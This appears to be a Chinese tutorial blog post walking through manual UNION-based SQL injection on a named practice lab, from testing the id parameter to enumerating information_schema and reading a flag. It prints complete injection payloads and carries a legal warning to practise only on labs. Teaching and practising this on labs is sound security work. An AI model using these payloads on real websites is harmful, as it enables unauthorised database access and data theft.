SQL

  • SQL注入
    • sql 注入的核心
  • SQL 手注的一般流程
    • 判断注入点 —— 第一步
    • 判断字段数 —— 第二步
    • 判断回显点 —— 第三步
    • 查询相关内容 —— 第四步
      • 判断库名
      • 判断表名
      • 判断列名
      • 查询具体信息
  • 总结

SQL注入

  • SQL注入攻击是目前web应用网络攻击中最常见的手段之一,曾被冠以 “漏洞之王” 的称号,其安全风险高于缓冲区溢出漏洞等所有其他漏洞,而市场上的防火墙又不能对SQL注入漏洞进行有效的检测和防范。
  • SQL注入攻击普遍存在范围广实现容易破坏性大等特点。

先来走一遍国际惯例——定义入手:什么是SQL和SQL注入?

结构化查询语言(Structured Query Language)简称 SQL,是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾后,添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

简单来讲就是:攻击者通过构造不同的SQL语句来实现对数据库的操作
此处两个关键条件

  • 参数用户可控 —— 即用户能够控制数据的输入
  • 我们构造的参数可带入数据库执行 —— 原本要执行的代码,拼接了用户的输入

总结一下:

sql 注入的核心

将用户输入的数据拼接到代码中,并被当成 sql 语句执行。



SQL 手注的一般流程

以下操作以某靶场为例,大家可以跟着试一试
(((搬出中华人民共和国网络安全法,这里提醒大家法无授权不可为,渗透测试在靶场做做就好,千万不要去乱搞其他网站,(除非你得到了网站管理员的渗透测试许可),入狱了不要把我供出来

初始界面:


判断注入点 —— 第一步

找页面与数据库产生交互的地方。

我们找到界面中的 url :

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1

这一长串url中 ’ ? ’ 后跟的就是参数id=1,’ ? ’ 表示传参。一般来讲 ’ ? '的内容都是用户可控的。若不存在能够与数据库产生交互的地方,那么sql注入也就自然无处下手了。
这里id=后面的内容就可以进行参数修改啦

传入SQL语句可控参数分为两类

  • 数字类型,参数不用被引号引用 ?id=1
  • 其他类型,参数需要被引号引用 ?name="phone"

我们尝试一下修改参数

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=2

可以看到界面的查询结果改变了

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2


界面报错
证实此处的传参的确将用户输入当做代码执行了,即存在sql注入漏洞。


判断字段数 —— 第二步

使用order by子句,利用网页报错判断字段数,为下一步铺垫
order by 函数具体用法放在这啦,就不详细展开讲了。

ORDER BY 语句用于根据指定的列对结果集进行排序

我们从order by 1 开始尝试

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 1
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 2
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 3

以上操作界面均显示正常

但是当改为 order by 4 时,界面报错

由此我们可以得出:说明此处存在三个字段


判断回显点 —— 第三步

接下来我们要使用union select语句,联合查询,通过页面回显找到回显点,再利用其获取我们需要查询的数据。

前置知识:
select 语句用于从表中选取数据。
union 操作符用于合并两个或多个 SELECT 语句的结果集。

注意:

UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名

什么意思呢? 就是联合查询前后的两个表,第一个表的字段数与第二个表的字段数必须相等,否则就会报错。像这样:

那如果一个表的字段数与第二个表的字段数不相等怎么办呢?我们可以进行如下操作手动补全:

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 union select 1,2,3

这样就显示正常了

但我们会发现,这个界面与初始界面一模一样。
因为这里优先显示的是联合查询的第一个结果,而第二个结果未被显示
所以我们只需要在这里使联合查询的第一个结果不显示(使前半段语句为假,则不返回任何内容):

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,3


我们发现”Your Login Name“后显示的是第二个字段的内容
“Password” 后显示的是第三个字段的内容

保险起见我们验证一下:

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,222,333


证实了我们的猜想。
由此可以得到,回显点就在”Your Login Name“和"Password" 后的位置


查询相关内容 —— 第四步

接下来我们利用显错位获取相关内容,这里我们再分几步进行
mysql中的information_schema说明
information_schema : mysql数据库5.0以上版本,自带数据库,记录了mysql下所有的库名,表名,列名等信息。
主要用到以下几个:

  • schemata表 (mysql服务器中所有数据库信息的表)
  • tables表 (mysql服务器中所有表信息的表)
  • columns表(mysql服务器所有列信息的表)
  • table_schema 数据库名
  • table_name 表名
  • column_name 列名

判断库名

MySQL中的 database()函数 返回默认或当前数据库的名称。

在刚刚的回显点加入database函数,以此得到库名

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,database(),database()


获得数据库库名:error

判断表名

为了查询表名,我们将union后的语句改成:

union select 1,table_name,3 from information_schema.tables where table_schema='error'

下面对这段语句进行详细解释:

回顾一下 select语句 用于从表中选取数据:

SELECT_(列名1,2,3,…)_ FROM _(表名)

已知回显点在列名2和列名3,我们将需要查询返回的数据放在回显点处。
table_name列在information_schema库的tables表下。
注意这里不能直接写表名tables, 否则它会在error库下找tables表,找不到就会报错。
因此需要使用【库名.表名】的格式:information_schema.tables

where子句 用于规定选择的标准

WHERE_(限定条件)

我们需要查询的是error库的表名,因此在查询中限定table_schema='error'.
也就是返回本张表中所有table_schema这一字段的值为error的数据所对应的table_name值。

好了,现在我们实践一下:

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='error'

为了显示union select后的内容,我们同样在前面加上and 1=2
得到一个表名:error_flag

判断列名

同理,列column_name在表information_schema.column
union后修改为

union select 1,column_name,3 from information_schema.columns where table_schema='error' and table_name='error_flag'


得到一个列名:ld
但是如何查询其他列名?这里我们需要用到limit子句
limit子句 用于强制 SELECT 语句返回指定的记录数。

LIMIT_(参数1),(参数2)
第一个参数指定第一个返回记录行的偏移量(注意这里从0计数),第二个参数指定返回记录行的最大数目。
第(参数1)+1个数据 到 第(参数1+参数2)+1个数据

实践一下,查询第二个列名 limit 1,1

union select 1,column_name,3 from information_schema.columns where table_schema='error' and table_name='error_flag' limit 1,1


得到第二个列名:flag
当然也可以利用group_concat()函数 一起输出所有列名 (不推荐,有可能回显点有字符输出限制导致输出不完整)

union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='error' and table_name='error_flag'

查询具体信息

靶场小任务

我们现在已经找到了flag字段所在的列名error_flag
接下来直接使用SELECT语句就可以直接查询flag的内容

union select 1,flag,3 from error_flag


得到flag字段的具体信息: zKaQ-Nf

总结

SQL手注四部曲:

  • 判断注入点

id=1 and 1=2

  • 判断字段数

id=1 order by 1

  • 判断回显点

id=1 and 1=2 union select 1,2,3

  • 查询相关内容

id=1 and 1=2 union select 1,database(),3

id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='error’

id=1 ans 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘error’ and table_name='error_flag’

union select 1,flag,3 from error_flag

End 完结撒花~

不许走 点个赞

SQL注入(一)—— sql手动注入实操相关推荐

  1. SQL数据分析淘宝用户分析实操

    sql也能做分析? 常见的数据清洗,预处理,数据分类,数据筛选,分类汇总,以及数据透视等操作,用SQL一样可以实现(除了可视化,需要放到Excel里呈现).SQL不仅可以从数据库中读取数据,还能通过不 ...

  2. SQL注入攻击及防御 手动注入+sqlmap自动化注入实战(网络安全学习12)

    CONTENTS 1 项目实验环境 2 SQL注入概述 2.1 SQL注入简介 2.2 SQL注入的危害 3 SQL基础回顾 3.1 联合查询union 3.2 information_schema数 ...

  3. spring自定义作用域 依赖注入之手动注入

    自定义作用域 spring容器自带的有2种作用域,分别是singleton和prototype:还有3种分别是spring web容器 环境中才支持的request.session.applicati ...

  4. 【Spring】Spring 依赖注入之手动注入

    文章目录 1.概述 2.依赖回顾 2.依赖对象的初始化方式 2.1 通过构造器设置依赖对象 2.2 通过set方法设置依赖对象 3.spring依赖注入 3.1 通过构造器注入 3.1.1 根据构造器 ...

  5. inurl+:php?id,实操:SQL注入国外xx网站

    原标题:实操:SQL注入国外xx网站 来自公众号:孑蝉 前言: 学了SQL注入一段时间了,也在顺利通关过墨者靶场.不过,靶场哪有真实网站好玩? 何为sql注入? SQL注入就是SQL+注入,不清楚可以 ...

  6. sql注入之靶场实操

    Sql注入之靶场实操 1.首先用小皮打开靶场,演示操作用的是文章管理系统cms的源码 2.可以用御剑扫描以下后台,但是因为我这边特殊原因,就假装我已经扫描了吧,得到了该网站的后台管理页面 3.因为我们 ...

  7. 实操:sql注入国外xx网站

    作者丨程橙橙 来源丨孑蝉(jiechan-aci) 前言: 学了sql注入一段时间了,也在顺利通关过墨者靶场.不过,靶场哪有真实网站好玩? 何为sql注入? sql注入就是sql+注入,不清楚可以百度 ...

  8. SQL注入:SQL注入类型(手动)SQL注入的检测

    一.SQL注入流程 1.判断是否有SQL注入漏洞(检测) 2.判断操作系统.数据库和web应用类型 3.获取数据库信息,包括管理员信息及拖库 4.加密信息破解,sqlmap可自动破解 5.提升权限,获 ...

  9. 【墨者学院】SQL手动注入 靶场初体验

    博主首次浅尝一下SQL注入,一顿操作,然后,啊哈 破解成功! 墨者学院靶场地址 step1: 判断注入 判断是否存在注入,这个靶场肯定存在注入,在参数id后面拼接一些其他变量即可. step2: 猜解 ...

  10. 安全测试-安装 sqli-labs 靶场及Sql注入原理、手动、自动注入、检测及防御

    安装 sqli-labs 靶场 sqli-labs 是一款用于学习 SQL 注入的靶场平台,覆盖了各种类型的 SQL 注入,题目共 75 道,按难度划分为 4 页.sqli-labs 靶场的项目开源地 ...

最新文章

  1. 删除控制_别了 Flash!Win10已全面删除:已从控制面板和安装文件中消失
  2. 一天一算法:快速排序
  3. 韩顺平老师 Mysql优化 笔记
  4. 4道Python装饰器练习题
  5. php 生存分析,HPA数据库08.做生存分析
  6. 开发实践丨用小熊派STM32开发板模拟自动售货机
  7. 本地 mysql 数据库 上线 服务器_MySQL把本地数据库上传到服务器
  8. Sublime 编译运行JavaScript
  9. 题目1026:又一版 A+B
  10. 机器学习--线性回归1_线性回归-进入迷人世界的第一步
  11. 四川2021年5月计算机二级报名时间,四川2021年3月计算机等级考试什么时候报名...
  12. html实现登录界面
  13. 系统测试计划编写(四)
  14. 【python统计分析】stats.ttest_ind 独立样本T检验
  15. 前端初学,记下标签以后参考
  16. Redis淘汰机制(Eviction policies)
  17. 什么是MTTF、MTBF、MTTR?
  18. yum-utils与yum-config-manager
  19. 计算机清理垃圾文件丢失怎么恢复,如何恢复windows电脑垃圾箱中清除的文件
  20. Windows 无法访问指定设备、路径或文件。你可能没有适当的权限访问该项目。

热门文章

  1. 这份日志格式规范,建议收藏!!!
  2. git clone: SSL certificate problem: self signed certificate 报错解决
  3. python怎么在官网下载pygame_python怎么安装pygame
  4. python拆分大文本(.txt)文件
  5. 如何查看自己电脑连接的wifi密码
  6. 【第十篇】Flowable中的候选人组
  7. 对中西方电影的一点点浅显看法
  8. 哈哈哈,用 Python 实现微信自动回复真香啊
  9. CSS篇一——(2)
  10. 《移动互联网下婚恋APP:应围绕“婚姻”做闭环》文章有感